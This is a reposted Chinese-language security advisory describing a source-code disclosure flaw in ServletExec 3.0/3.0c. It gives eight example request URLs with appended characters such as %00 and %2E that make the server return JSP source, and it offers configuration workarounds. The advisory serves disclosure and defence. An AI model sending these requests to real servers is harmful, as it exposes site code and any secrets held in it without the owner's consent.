在HTTP请求中添加特殊字符导致暴露JSP源代码文件------转自他人
涉及程序:
ServletExec
描述:
详细:
UnifyeWaveServletExec是一个Java/JavaServlet引擎插件,主要用于WEB服务器,例如:MicrosoftIIS,Apache,NetscapeEnterprise服务器等等。
当一个HTTP请求中添加下列字符之一,ServletExec将返回JSP源代码文件。
.
%2E
+
%2B
%5C
%20
%00
成功的利用该漏洞将导致泄露指定的JSP文件的源代码
例如:
使用下面的任意一个URL请求将输出指定的JSP文件的源代码:
http://target/directory/jsp/file.jsp.
http://target/directory/jsp/file.jsp%2E
http://target/directory/jsp/file.jsp+
http://target/directory/jsp/file.jsp%2B
http://target/directory/jsp/file.jsp
http://target/directory/jsp/file.jsp%5C
http://target/directory/jsp/file.jsp%20
http://target/directory/jsp/file.jsp%00
受影响的系统:
UnifyeWaveServletExec3.0c
-SunSolaris8.0
-MicrosoftWindows98
-MicrosoftWindowsNT4.0
-MicrosoftWindowsNT2000
-Linuxkernel2.3.x
-IBMAIX4.3.2
-HPHP-UX11.4
UnifyeWaveServletExec3.0
-SunSolaris8.0
-MicrosoftWindows98
-MicrosoftWindowsNT4.0
-MicrosoftWindowsNT2000
-Linuxkernel2.3.x
-IBMAIX4.3.2
-HPHP-UX11.4
解决方案:
临时解决办法:
如果没有使用任何静态页面或图像,可以配置一个默认的servlet,并将“/”映射到这个默认的servlet。这样当收到一个未映射到某个servlet的URL时,这个默认的servlet就会被调用。在这种情况下,默认的servlet可以仅仅返回“未找到文件”。如果使用了静态的页面或图像,仍然可以作这样的配置,但是需要让这个默认的servlet处理对合法的静态页面和图像的请求。
另一种可能就是将*.jsp+、*.jsp.和*.jsp等映射到一个servlet,而该servlet只是返回“未找到文件”。对于*.jsp%00和*.jsp%20这样的情况,映射应以未经编码的形式输入。例如,对于*.jsp%20的映射应输入“*.jsp”。注意%20被转换成一个空格字符。